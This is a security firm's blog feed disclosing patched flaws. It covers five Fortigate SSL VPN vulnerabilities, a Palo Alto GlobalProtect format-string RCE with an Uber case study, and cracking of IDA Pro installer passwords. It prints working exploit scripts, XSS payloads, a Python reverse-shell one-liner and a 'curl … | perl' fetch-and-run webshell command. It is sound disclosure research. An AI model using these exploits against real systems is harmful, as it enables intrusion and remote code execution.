Normal view

There are new articles available, click to refresh the page.
Before yesterdayDEVCORE

Attacking SSL VPN - Part 2: Breaking the Fortigate SSL VPN

8 August 2019 at 16:00

Author: Meh Chang(@mehqq_) and Orange Tsai(@orange_8361)

Last month, we talked about Palo Alto Networks GlobalProtect RCE as an appetizer. Today, here comes the main dish! If you cannot go to Black Hat or DEFCON for our talk, or you are interested in more details, here is the slides for you!

We will also give a speech at the following conferences, just come and find us!

  • HITCON - Aug. 23 @ Taipei (Chinese)
  • HITB GSEC - Aug. 29,30 @ Singapore
  • RomHack - Sep. 28 @ Rome
  • and more …

Let’s start!

The story began in last August, when we started a new research project on SSL VPN. Compare to the site-to-site VPN such as the IPSEC and PPTP, SSL VPN is more easy to use and compatible with any network environments. For its convenience, SSL VPN becomes the most popular remote access way for enterprise!

However, what if this trusted equipment is insecure? It is an important corporate asset but a blind spot of corporation. According to our survey on Fortune 500, the Top-3 SSL VPN vendors dominate about 75% market share. The diversity of SSL VPN is narrow. Therefore, once we find a critical vulnerability on the leading SSL VPN, the impact is huge. There is no way to stop us because SSL VPN must be exposed to the internet.

At the beginning of our research, we made a little survey on the CVE amount of leading SSL VPN vendors:

It seems like Fortinet and Pulse Secure are the most secure ones. Is that true? As a myth buster, we took on this challenge and started hacking Fortinet and Pulse Secure! This story is about hacking Fortigate SSL VPN. The next article is going to be about Pulse Secure, which is the most splendid one! Stay tuned!

Fortigate SSL VPN

Fortinet calls their SSL VPN product line as Fortigate SSL VPN, which is prevalent among end users and medium-sized enterprise. There are more than 480k servers operating on the internet and is common in Asia and Europe. We can identify it from the URL /remote/login. Here is the technical feature of Fortigate:

  • All-in-one binary We started our research from the file system. We tried to list the binaries in /bin/ and found there are all symbolic links, pointing to /bin/init. Just like this:

    Fortigate compiles all the programs and configurations into a single binary, which makes the init really huge. It contains thousands of functions and there is no symbol! It only contains necessary programs for the SSL VPN, so the environment is really inconvenient for hackers. For example, there is even no /bin/ls or /bin/cat!

  • Web daemon There are 2 web interfaces running on the Fortigate. One is for the admin interface, handled with /bin/httpsd on the port 443. The other is normal user interface, handled with /bin/sslvpnd on the port 4433 by default. Generally, the admin page should be restricted from the internet, so we can only access the user interface.

    Through our investigation, we found the web server is modified from apache, but it is the apache from 2002. Apparently they modified apache in 2002 and added their own additional functionality. We can map the source code of apache to speed up our analysis.

    In both web service, they also compiled their own apache modules into the binary to handle each URL path. We can find a table specifying the handlers and dig into them!

  • WebVPN WebVPN is a convenient proxy feature which allows us connect to all the services simply through a browser. It supports many protocols, like HTTP, FTP, RDP. It can also handle various web resources, such as WebSocket and Flash. To process a website correctly, it parses the HTML and rewrites all the URLs for us. This involves heavy string operation, which is prone to memory bugs.

Vulnerabilities

We found several vulnerabilities:

CVE-2018-13379: Pre-auth arbitrary file reading

While fetching corresponding language file, it builds the json file path with the parameter lang:

snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);

There is no protection, but a file extension appended automatically. It seems like we can only read json file. However, actually we can abuse the feature of snprintf. According to the man page, it writes at most size-1 into the output string. Therefore, we only need to make it exceed the buffer size and the .json will be stripped. Then we can read whatever we want.

CVE-2018-13380: Pre-auth XSS

There are several XSS:

/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E
/remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e29
/message?title=x&msg=%26%23<svg/onload=alert(1)>;

CVE-2018-13381: Pre-auth heap overflow

While encoding HTML entities code, there are 2 stages. The server first calculate the required buffer length for encoded string. Then it encode into the buffer. In the calculation stage, for example, encode string for < is &#60; and this should occupies 5 bytes. If it encounter anything starts with &#, such as &#60;, it consider there is a token already encoded, and count its length directly. Like this:

c = token[idx];
if (c == '(' || c == ')' || c == '#' || c == '<' || c == '>')
    cnt += 5;
else if(c == '&' && html[idx+1] == '#')
    cnt += len(strchr(html[idx], ';')-idx);

However, there is an inconsistency between length calculation and encoding process. The encode part does not handle that much.

switch (c)
{
    case '<':
        memcpy(buf[counter], "&#60;", 5);
        counter += 4;
        break;
    case '>':
    // ...
    default:
        buf[counter] = c;
        break;
    counter++;
}

If we input a malicious string like &#<<<;, the < is still encoded into &#60;, so the result should be &#&#60;&#60;&#60;;! This is much longer than the expected length 6 bytes, so it leads to a heap overflow.

PoC:

import requests

data = {
    'title': 'x', 
    'msg': '&#' + '<'*(0x20000) + ';<', 
}
r = requests.post('https://sslvpn:4433/message', data=data)

CVE-2018-13382: The magic backdoor

In the login page, we found a special parameter called magic. Once the parameter meets a hardcoded string, we can modify any user’s password.

According to our survey, there are still plenty of Fortigate SSL VPN lack of patch. Therefore, considering its severity, we will not disclose the magic string. However, this vulnerability has been reproduced by the researcher from CodeWhite. It is surely that other attackers will exploit this vulnerability soon! Please update your Fortigate ASAP!

Critical vulns in #FortiOS reversed & exploited by our colleagues @niph_ and @ramoliks - patch your #FortiOS asap and see the #bh2019 talk of @orange_8361 and @mehqq_ for details (tnx guys for the teaser that got us started) pic.twitter.com/TLLEbXKnJ4

— Code White GmbH (@codewhitesec) 2019年7月2日

CVE-2018-13383: Post-auth heap overflow

This is a vulnerability on the WebVPN feature. While parsing JavaScript in the HTML, it tries to copy content into a buffer with the following code:

memcpy(buffer, js_buf, js_buf_len);

The buffer size is fixed to 0x2000, but the input string is unlimited. Therefore, here is a heap overflow. It is worth to note that this vulnerability can overflow Null byte, which is useful in our exploitation. To trigger this overflow, we need to put our exploit on an HTTP server, and then ask the SSL VPN to proxy our exploit as a normal user.

Exploitation

The official advisory described no RCE risk at first. Actually, it was a misunderstanding. We will show you how to exploit from the user login interface without authentication.

CVE-2018-13381

Our first attempt is exploiting the pre-auth heap overflow. However, there is a fundamental defect of this vulnerability – It does not overflow Null bytes. In general, this is not a serious problem. The heap exploitation techniques nowadays should overcome this. However, we found it a disaster doing heap feng shui on Fortigate. There are several obstacles, making the heap unstable and hard to be controlled.

  • Single thread, single process, single allocator The web daemon handles multiple connection with epoll(), no multi-process or multi-thread, and the main process and libraries use the same heap, called JeMalloc. It means, all the memory allocations from all the operations of all the connections are on the same heap. Therefore, the heap is really messy.
  • Operations regularly triggered This interferes the heap but is uncontrollable. We cannot arrange the heap carefully because it would be destroyed.
  • Apache additional memory management. The memory won’t be free() until the connection ends. We cannot arrange the heap in a single connection. Actually this can be an effective mitigation for heap vulnerabilities especially for use-after-free.
  • JeMalloc JeMalloc isolates meta data and user data, so it is hard to modify meta data and play with the heap management. Moreover, it centralizes small objects, which also limits our exploit.

We were stuck here, and then we chose to try another way. If anyone exploits this successfully, please teach us!

CVE-2018-13379 + CVE-2018-13383

This is a combination of pre-auth file reading and post-auth heap overflow. One for gaining authentication and one for getting a shell.

  • Gain authentication We first use CVE-2018-13379 to leak the session file. The session file contains valuable information, such as username and plaintext password, which let us login easily.

  • Get the shell After login, we can ask the SSL VPN to proxy the exploit on our malicious HTTP server, and then trigger the heap overflow.

    Due to the problems mentioned above, we need a nice target to overflow. We cannot control the heap carefully, but maybe we can find something regularly appears! It would be great if it is everywhere, and every time we trigger the bug, we can overflow it easily! However, it is a hard work to find such a target from this huge program, so we were stuck at that time … and we started to fuzz the server, trying to get something useful.

    We got an interesting crash. To our great surprise, we almost control the program counter!

    Here is the crash, and that’s why we love fuzzing! ;)

      Program received signal SIGSEGV, Segmentation fault.
      0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-x86_64/lib/libssl.so.1.1
      2: /x $rax = 0x41414141
      1: x/i $pc
      => 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax)
      (gdb)
    

    The crash happened in SSL_do_handshake()

      int SSL_do_handshake(SSL *s)
      {
          // ...
    
          s->method->ssl_renegotiate_check(s, 0);
    
          if (SSL_in_init(s) || SSL_in_before(s)) {
              if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) {
                  struct ssl_async_args args;
    
                  args.s = s;
    
                  ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern);
              } else {
                  ret = s->handshake_func(s);
              }
          }
          return ret;
      }
    

    We overwrote the function table inside struct SSL called method, so when the program trying to execute s->method->ssl_renegotiate_check(s, 0);, it crashed.

    This is actually an ideal target of our exploit! The allocation of struct SSL can be triggered easily, and the size is just close to our JaveScript buffer, so it can be nearby our buffer with a regular offset! According to the code, we can see that ret = s->handshake_func(s); calls a function pointer, which a perfect choice to control the program flow. With this finding, our exploit strategy is clear.

    We first spray the heap with SSL structure with lots of normal requests, and then overflow the SSL structure.

    Here we put our php PoC on an HTTP server:

      <?php
          function p64($address) {
              $low = $address & 0xffffffff;
              $high = $address >> 32 & 0xffffffff;
              return pack("II", $low, $high);
          }
          $junk = 0x4141414141414141;
          $nop_func = 0x32FC078;
    
          $gadget  = p64($junk);
          $gadget .= p64($nop_func - 0x60);
          $gadget .= p64($junk);
          $gadget .= p64(0x110FA1A); // # start here # pop r13 ; pop r14 ; pop rbp ; ret ;
          $gadget .= p64($junk);
          $gadget .= p64($junk);
          $gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
          $gadget .= p64(0x1bed1f6); // pop rax ; ret ;
          $gadget .= p64(0x58);
          $gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret  ;
          $gadget .= p64(0x1366639); // call system ;
          $gadget .= "python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;";
    
          $p  = str_repeat('AAAAAAAA', 1024+512-4); // offset
          $p .= $gadget;
          $p .= str_repeat('A', 0x1000 - strlen($gadget));
          $p .= $gadget;
      ?>
      <a href="javascript:void(0);<?=$p;?>">xxx</a>
    

    The PoC can be divided into three parts.

    1. Fake SSL structure The SSL structure has a regular offset to our buffer, so we can forge it precisely. In order to avoid the crash, we set the method to a place containing a void function pointer. The parameter at this time is SSL structure itself s. However, there is only 8 bytes ahead of method. We cannot simply call system("/bin/sh"); on the HTTP server, so this is not enough for our reverse shell command. Thanks to the huge binary, it is easy to find ROP gadgets. We found one useful for stack pivot:

       push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
      

      So we set the handshake_func to this gadget, move the rsp to our SSL structure, and do further ROP attack.

    2. ROP chain The ROP chain here is simple. We slightly move the rdi forward so there is enough space for our reverse shell command.
    3. Overflow string Finally, we concatenates the overflow padding and exploit. Once we overflow an SSL structure, we get a shell.

    Our exploit requires multiple attempts because we may overflow something important and make the program crash prior to the SSL_do_handshake. Anyway, the exploit is still stable thanks to the reliable watchdog of Fortigate. It only takes 1~2 minutes to get a reverse shell back.

Demo

Timeline

  • 11 December, 2018 Reported to Fortinet
  • 19 March, 2019 All fix scheduled
  • 24 May, 2019 All advisory released

Fix

Upgrade to FortiOS 5.4.11, 5.6.9, 6.0.5, 6.2.0 or above.

Fortigate SSL VPN 資安通報

8 August 2019 at 16:00

內容

上一篇 SSL VPN 研究系列文我們通報了在 Palo Alto GlobalProtect 上的 RCE 弱點,這一篇將公開我們在 Fortigate SSL VPN 上的研究,共計找到下列五個弱點:

  • CVE-2018-13379: Pre-auth arbitrary file reading
  • CVE-2018-13380: Pre-auth XSS
  • CVE-2018-13381: Pre-auth heap overflow
  • CVE-2018-13382: The magic backdoor
  • CVE-2018-13383: Post-auth heap overflow

透過不需認證的任意讀檔問題(CVE-2018-13379)加上管理介面上的 heap overflow(CVE-2018-13383),惡意使用者可直接取得 SSL VPN 的最高權限。

此外,我們也發現了一個官方後門(CVE-2018-13382),可以任意修改使用者密碼。

在回報 Fortigate 後,官方已陸續修復這些弱點,建議 Fortigate SSL VPN 的用戶更新至最新版。

細節

詳細的技術細節請參閱我們的 Advisory: https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/

附註

這系列 VPN 研究也得到了今年 BlackHat 2019 Pwnie Awards 的 pwnie for best server-side bug(年度最佳伺服器漏洞)。

[已結束] DEVCORE 徵求行政專員

22 July 2019 at 16:00

戴夫寇爾即將滿七年了,過去我們不斷地鑽研進階攻擊技巧,為許多客戶提供高品質的滲透測試服務,也成為客戶最信賴的資安伙伴之一。在 2017 年我們更成為第一個在台灣推出紅隊演練服務的本土廠商,透過無所不用其極的駭客思維,陸續為電子商務、政府部門、金融業者執行最真實且全面的攻擊演練,同時也累積了豐富的經驗與案例,成為台灣紅隊演練實力最深厚的服務供應商。

在 2015 年我們曾經公開徵求一位行政出納人才,後來經過層層的履歷審核、筆試、面試,終於順利找到一位經驗豐富且值得信賴的生活駭客,成為我們最強而有力的後勤伙伴。但是隨著團隊人數增長、業務規模大幅增加、事務分工專業化,行政部門的眾多工作已經無法由單一人力獨自負荷。

因此今年我們再度公開招募行政人才,希望能夠找到一位行政專員,擴大我們的後勤能量,鞏固戴夫寇爾的團隊作戰能力,讓我們持續為企業提供最優異的資安服務。

我們非常渴望您的加入,若您有意成為戴夫寇爾的一員,可參考下列職缺細節:

工作內容

  • 庶務性行政工作 50%
    • 人員接待,例如:電話接聽、來訪人員接待
    • 文件收發,例如:郵務作業、快遞服務
    • 檔案管理,例如:名片掃描、合約掃描、範本檔案格式調整
    • 資料蒐集,例如:各類公司業務需求資料查找
  • 總務工作 20%
    • 辦公室各類用品採買
    • 辦公室環境維護
  • 採購工作 15%
    • 設備採購管理
    • 服務供應商管理
  • 人事工作 5%
    • 保險事務,例如:團體保險、旅遊不便險
    • 差旅行程,例如:交通票券訂購、簽證辦理
    • 教育訓練安排
  • 其他主管交辦事項 10%

工作時間

10:00 - 18:00

工作地點

台北市中山區復興北路 168 號 10 樓 (捷運南京復興站 8 號出口,走路約 3 分鐘)

人格特質偏好

  • 細心嚴謹,能耐心的處理繁瑣的庶務工作。
  • 主動積極,看到我們沒發現的細節,超越我們所期望的基準。
  • 懂得溝通傾聽,能同理他人,找出彼此共識。
  • 擅長邏輯思考,懂得透過淺顯易懂且條理清晰的方式傳達自己的想法。
  • 良好的時間管理能力,依據任務的優先順序,有效率的完成每項交辦。
  • 勇於接受挑戰且具備解決問題的能力,努力克服未知的難題。

工作條件要求

  • 需有三年以上行政相關工作經驗
  • 熟悉 Google Sheets 操作,且具獨立撰寫試算表公式的能力
  • 習慣使用雲端服務,如:Google Drive, Dropbox 或其他

加分條件

  • 您使用過專案管理系統,如:Trello, Basecamp, Redmine 或其他
    您將會使用專案管理系統管理平日任務。
  • 您是 MAC 使用者
    您未來的電腦會是 MAC,我們希望您越快順暢使用電腦越好。
  • 您是生活駭客
    您不需要會寫程式,但您習慣觀察生活中的規律,並想辦法利用這些規律有效率的解決問題。

工作環境

  • 您會在一個開闊的辦公環境工作 DEVCORE ENV
  • 您會擁有一張 Aeron 人體工學椅 DEVCORE AERON
  • 每週補滿飲料(另有咖啡機)、零食,讓您保持心情愉快 DEVCORE DRINK
  • 公司提供飛鏢機讓您發洩對主管的怨氣 DEVCORE DART

公司福利

我們注重公司每位同仁的身心健康,請參考以下福利制度:

  • 休假福利
    • 到職即可預支當年度特休
    • 每年五天全薪病假
  • 獎金福利
    • 三節禮金(春節、端午節、中秋節)
    • 生日禮金
    • 婚喪補助
  • 休閒福利
    • 員工旅遊
    • 舒壓按摩
    • Team Building
  • 美食福利
    • 零食飲料
    • 員工聚餐
  • 健康福利
    • 員工健康檢查
    • 運動中心健身券
  • 進修福利
    • 內部教育訓練
    • 外部進修課程
  • 其他
    • 專業的公司團隊
    • 扁平的內部組織
    • 順暢的溝通氛圍

起薪範圍

新台幣 34,000 - 40,000 (保證年薪 14 個月)

應徵方式

  • 請將您的履歷以 PDF 格式寄到 [email protected]
    • 履歷格式請參考範例示意(DOCPAGESPDF)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。
  • 標題格式:[應徵] 行政專員 您的姓名(範例:[應徵] 行政專員 王小美)
  • 履歷內容請務必控制在兩頁以內,至少需包含以下內容:
    • 基本資料
    • 學歷
    • 工作經歷
    • 社群活動經歷
    • 特殊事蹟
    • MBTI 職業性格測試結果(測試網頁

附註

我們會在兩週內主動與您聯繫,招募過程依序為書面審核、線上測驗以及面試三個階段。最快將於八月中進行第二階段的線上測驗,煩請耐心等候。 由於最近業務較為忙碌,若有應徵相關問題,請一律使用 Email 聯繫,造成您的不便請見諒。

我們選擇優先在部落格公布徵才資訊,是希望您也對資訊安全議題感興趣,即使不懂技術也想為台灣資安盡一點力。無論如何,我們都感謝您的來信,期待您的加入!

Palo Alto GlobalProtect 資安通報

16 July 2019 at 16:00

內容

在我們進行紅隊演練的過程中,發現目標使用的 Palo Alto GlobalProtect 存在 format string 弱點,透過此弱點可控制該 SSL VPN 伺服器,並藉此進入企業內網。

回報原廠後,得知這是個已知弱點並且已經 silent-fix 了,所以並未有 CVE 編號。經過我們分析,存在風險的版本如下,建議用戶儘速更新至最新版以避免遭受攻擊。

  • Palo Alto GlobalProtect SSL VPN 7.1.x < 7.1.19
  • Palo Alto GlobalProtect SSL VPN 8.0.x < 8.0.12
  • Palo Alto GlobalProtect SSL VPN 8.1.x < 8.1.3

9.x 和 7.0.x 並沒有存在風險。

細節

我們也利用了這個弱點成功控制了 Uber 的 VPN 伺服器,詳細的技術細節請參閱我們的 Advisory: https://devco.re/blog/2019/07/17/attacking-ssl-vpn-part-1-PreAuth-RCE-on-Palo-Alto-GlobalProtect-with-Uber-as-case-study/

附註

這將會是我們 SSL VPN 研究的系列文,預計會有三篇。這也是我們研究團隊今年在 Black Hat USADEFCON 的演講『 Infiltrating Corporate Intranet Like NSA - Pre-auth RCE on Leading SSL VPNs 』中的一小部分,敬請期待!

Attacking SSL VPN - Part 1: PreAuth RCE on Palo Alto GlobalProtect, with Uber as Case Study!

16 July 2019 at 16:00

Author: Orange Tsai(@orange_8361) and Meh Chang(@mehqq_)

SSL VPNs protect corporate assets from Internet exposure, but what if SSL VPNs themselves are vulnerable? They’re exposed to the Internet, trusted to reliably guard the only way to your intranet. Once the SSL VPN server is compromised, attackers can infiltrate your Intranet and even take over all users connecting to the SSL VPN server! Due to its importance, in the past several months, we started a new research on the security of leading SSL VPN products.

We plan to publish our results on 3 articles. We put this as the first one because we think this is an interesting story and is very suitable as an appetizer of our Black Hat USA and DEFCON talk:

  • Infiltrating Corporate Intranet Like NSA - Pre-auth RCE on Leading SSL VPNs!


Don’t worry about the spoilers, this story is not included in our BHUSA/DEFCON talks.

In our incoming presentations, we will provide more hard-core exploitations and crazy bugs chains to hack into your SSL VPN. From how we jailbreak the appliance and what attack vectors we are focusing on. We will also demonstrate gaining root shell from the only exposed HTTPS port, covertly weaponizing the server against their owner, and abusing a hidden feature to take over all VPN clients! So please look forward to it ;)

The story

In this article, we would like to talk about the vulnerability on Palo Alto SSL VPN. Palo Alto calls their SSL VPN product line as GlobalProtect. You can easily identify the GlobalPortect service via the 302 redirection to /global-protect/login.esp on web root!

About the vulnerability, we accidentally discovered it during our Red Team assessment services. At first, we thought this is a 0day. However, we failed reproducing on the remote server which is the latest version of GlobalProtect. So we began to suspect if this is a known vulnerability.

We searched all over the Internet, but we could not find anything. There is no public RCE exploit before[1], no official advisory contains anything similar and no CVE. So we believe this must be a silent-fix 1-day!

[1] There are some exploit about the Pan-OS management interface before such as the CVE-2017-15944 and the excellent Troppers16 paper by @_fel1x, but unfortunately, they are not talking about the GlobalProtect and the management interface is only exposed to the LAN port

The bug

The bug is very straightforward. It is just a simple format string vulnerability with no authentication required! The sslmgr is the SSL gateway handling the SSL handshake between the server and clients. The daemon is exposed by the Nginx reverse proxy and can be touched via the path /sslmgr.

$ curl https://global-protect/sslmgr
<?xml version="1.0" encoding="UTF-8" ?>
        <clientcert-response>
                <status>error</status>
                <msg>Invalid parameters</msg>
        </clientcert-response>

During the parameter extraction, the daemon searches the string scep-profile-name and pass its value as the snprintf format to fill in the buffer. That leads to the format string attack. You can just crash the service with %n!

POST /sslmgr HTTP/1.1
Host: global-protect
Content-Length: 36

scep-profile-name=%n%n%n%n%n...

Affect versions

According to our survey, all the GlobalProtect before July 2018 are vulnerable! Here is the affect version list:

  • Palo Alto GlobalProtect SSL VPN 7.1.x < 7.1.19
  • Palo Alto GlobalProtect SSL VPN 8.0.x < 8.0.12
  • Palo Alto GlobalProtect SSL VPN 8.1.x < 8.1.3

The series 9.x and 7.0.x are not affected by this vulnerability.

How to verify the bug

Although we know where the bug is, to verify the vulnerability is still not easy. There is no output for this format string so that we can’t obtain any address-leak to verify the bug. And to crash the service is never our first choice[1]. In order to avoid crashes, we need to find a way to verify the vulnerability elegantly!

By reading the snprintf manual, we choose the %c as our gadget! When there is a number before the format, such as %9999999c, the snprintf repeats the corresponding times internally. We observe the response time of large repeat number to verify this vulnerability!

$ time curl -s -d 'scep-profile-name=%9999999c' https://global-protect/sslmgr >/dev/null
real    0m1.721s
user    0m0.037s
sys     0m0.005s
$ time curl -s -d 'scep-profile-name=%99999999c' https://global-protect/sslmgr >/dev/null
real    0m2.051s
user    0m0.035s
sys     0m0.012s
$ time curl -s -d 'scep-profile-name=%999999999c' https://global-protect/sslmgr >/dev/null
real    0m5.324s
user    0m0.021s
sys     0m0.018s

As you can see, the response time increases along with the number of %c. So, from the time difference, we can identify the vulnerable SSL VPN elegantly!

[1] Although there is a watchdog monitoring the sslmgr daemon, it’s still improper to crash a service!

The exploitation

Once we can verify the bug, the exploitation is easy. To exploit the binary successfully, we need to determine the detail version first. We can distinguish by the Last-Modified header, such as the /global-protect/portal/css/login.css from 8.x version and the /images/logo_pan_158.gif from 7.x version!

$ curl -s -I https://sslvpn/global-protect/portal/css/login.css | grep Last-Modified
Last-Modified: Sun, 10 Sep 2017 16:48:23 GMT

With a specified version, we can write our own exploit now. We simply modified the pointer of strlen on the Global Offset Table(GOT) to the Procedure Linkage Table(PLT) of system. Here is the PoC:

#!/usr/bin/python

import requests
from pwn import *

url = "https://sslvpn/sslmgr"
cmd = "echo pwned > /var/appweb/sslvpndocs/hacked.txt"

strlen_GOT = 0x667788 # change me
system_plt = 0x445566 # change me

fmt =  '%70$n'
fmt += '%' + str((system_plt>>16)&0xff) + 'c'
fmt += '%32$hn'
fmt += '%' + str((system_plt&0xffff)-((system_plt>>16)&0xff)) + 'c'
fmt += '%24$hn'
for i in range(40,60):
    fmt += '%'+str(i)+'$p'

data = "scep-profile-name="
data += p32(strlen_GOT)[:-1]
data += "&appauthcookie="
data += p32(strlen_GOT+2)[:-1]
data += "&host-id="
data += p32(strlen_GOT+4)[:-1]
data += "&user-email="
data += fmt
data += "&appauthcookie="
data += cmd
r = requests.post(url, data=data)

Once the modification is done, the sslmgr becomes our webshell and we can execute commands via:

$ curl -d 'scep-profile-name=curl orange.tw/bc.pl | perl -' https://global-protect/sslmgr


We have reported this bug to Palo Alto via the report form. However, we got the following reply:

Hello Orange,

Thanks for the submission. Palo Alto Networks does follow coordinated vulnerability disclosure for security vulnerabilities that are reported to us by external researchers. We do not CVE items found internally and fixed. This issue was previously fixed, but if you find something in a current version, please let us know.

Kind regards

Hmmm, so it seems this vulnerability is known for Palo Alto, but not ready for the world!

The case study

After we awared this is not a 0day, we surveyed all Palo Alto SSL VPN over the world to see if there is any large corporations using the vulnerable GlobalProtect, and Uber is one of them! From our survey, Uber owns about 22 servers running the GlobalProtect around the world, here we take vpn.awscorp.uberinternal.com as an example!

From the domain name, we guess Uber uses the BYOL from AWS Marketplace. From the login page, it seems Uber uses the 8.x version, and we can target the possible target version from the supported version list on the Marketplace overview page:

  • 8.0.3
  • 8.0.6
  • 8.0.8
  • 8.0.9
  • 8.1.0

Finally, we figured out the version, it’s 8.0.6 and we got the shell back!

Uber took a very quick response and right step to fix the vulnerability and Uber gave us a detail explanation to the bounty decision:

Hey @orange — we wanted to provide a little more context on the decision for this bounty. During our internal investigation, we found that the Palo Alto SSL VPN is not the same as the primary VPN which is used by the majority of our employees.

Additionally, we hosted the Palo Alto SSL VPN in AWS as opposed to our core infrastructure; as such, this would not have been able to access any of our internal infrastructure or core services. For these reasons, we determined that while it was an unauthenticated RCE, the overall impact and positional advantage of this was low. Thanks again for an awesome report!

It’s a fair decision. It’s always a great time communicating with Uber and report to their bug bounty program. We don’t care about the bounty that much, because we enjoy the whole research process and feeding back to the security community! Nothing can be better than this!

破密行動: 以不尋常的角度破解 IDA Pro 偽隨機數

20 June 2019 at 16:00

English Version 中文版本

前言

Hex-Rays IDA Pro 是目前世界上最知名的反組譯工具,今天我們想來聊聊它的安裝密碼。什麼是安裝密碼?一般來說,在完成 IDA Pro 購買流程後,會收到一個客製化安裝檔及安裝密碼,在程式安裝過程中,會需要那組安裝密碼才得以繼續安裝。那麼,如果今天在網路上發現一包洩漏的 IDA Pro 安裝檔,我們有可能在不知道密碼的狀況下順利安裝嗎?這是一個有趣的開放性問題。

在我們團隊成員腦力激盪下,給出了一個驗證性的答案:是的,在有 Linux 或 MacOS 版安裝檔的狀況下,我們可以直接找到正確的安裝密碼;而在有 Windows 版安裝檔的狀況下,我們只需要十分鐘就可算出安裝密碼。

下面就是我們的驗證流程:

* Linux 以及 MacOS 版

最先驗證成功的是 Linux 及 MacOS 版,這兩個版本都是透過 InstallBuilder 封裝成安裝檔。我們嘗試執行安裝程式,並在記憶體中直接發現了未加密的安裝密碼。任務達成!

在透過 Hex-Rays 協助回報後,BitRock 也在 2019/02/11 釋出了 InstallBuilder 19.2.0,加強了安裝密碼的保護。

* Windows 版

在 Windows 版上解決這個問題是項挑戰,因為這個安裝檔是透過 Inno Setup 封裝的,其安裝密碼是採用 160-bit SHA-1 hash 的方式儲存,因此我們無法透過靜態、動態程式分析直接取得密碼,透過暴力列舉也不是一個有效率的方式。不過,如果我們掌握了產生密碼的方式,那結果可能就不一樣了,我們也許可以更有效率的窮舉。

雖然我們已經有了方向是要找出 Hex-Rays 如何產生密碼,但要去驗證卻是”非常困難”的。因為我們不知道亂數產生器是用什麼語言實作的,而目前已知至少有 88 種亂數產生器,種類太多了。同時,我們也無法知道亂數產生器所使用的字元組和字元順序是什麼。

要找出亂數產生器所使用的字元組是眾多困難事中比較簡單的一件,首先,我們竭盡所能的收集所有 IDA Pro 的安裝密碼,例如 WikiLeaks 所揭露的 hackingteam 使用之密碼:

  • FgVQyXZY2XFk (link)
  • 7ChFzSbF4aik (link)
  • ZFdLqEM2QMVe (link)
  • 6VYGSyLguBfi (link)

從所有收集到的安裝密碼中我們整理出所用到的字元組: 23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz

少了 1, I, l, 0, O, o, N, n 字元,推測這些都是容易混淆的字元,因此不放入密碼字元組中是合理的。接著,我們用這些字元組,猜測可能的排列順序:

23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz
ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz
23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ
abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ
abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789
ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789

最後,我們挑選幾個比較常見的語言(c/php/python/perl)並使用上述的字元組實作亂數產生器,列舉所有亂數組合,看看我們收集到的安裝密碼有沒有出現在這些組合中。例如我們用下面程式碼列舉 C 語言的亂數組合:

#include<stdio.h>
#include<stdlib.h>

char _a[] = "23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz";
char _b[] = "ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz";
char _c[] = "23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ";
char _d[] = "abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ";
char _e[] = "abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789";
char _f[] = "ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789";

int main()
{
        char bufa[21]={0};
        char bufb[21]={0};
        char bufc[21]={0};
        char bufd[21]={0};
        char bufe[21]={0};
        char buff[21]={0};

        unsigned int i=0;
        while(i<0x100000000)
        {
                srand(i);

                for(size_t n=0;n<20;n++)
                {
                        int key= rand() % 54;
                        bufa[n]=_a[key];
                        bufb[n]=_b[key];
                        bufc[n]=_c[key];
                        bufd[n]=_d[key];
                        bufe[n]=_e[key];
                        buff[n]=_f[key];

                }
                printf("%s\n",bufa);
                printf("%s\n",bufb);
                printf("%s\n",bufc);
                printf("%s\n",bufd);
                printf("%s\n",bufe);
                printf("%s\n",buff);
                i=i+1;
        }
}

大約一個月的運算,我們終於成功利用 Perl 亂數產生出 IDA Pro 的安裝密碼,而正確的字元組順序為 abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789。例如 hacking team 洩漏的 IDA Pro 6.8 安裝密碼是 FgVQyXZY2XFk,就可用下面程式碼產生:

#!/usr/bin/env perl
#
@_e = split //,"abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789";

$i=3326487116;
srand($i);
$pw="";

for($i=0;$i<12;++$i)
{
        $key = rand 54;
        $pw = $pw . $_e[$key];
}
print "$i $pw\n";

透過這些資訊,我們可以建立一個用來暴力列舉安裝密碼的字典檔,縮短暴力列舉的時間,實作方式可參考 inno2john 專案。在一般情況下,約十分鐘即可算出 windows 安裝檔的安裝密碼。

在回報 Hex-Rays 後,他們立刻表示之後將會使用更安全的安裝密碼。

總結

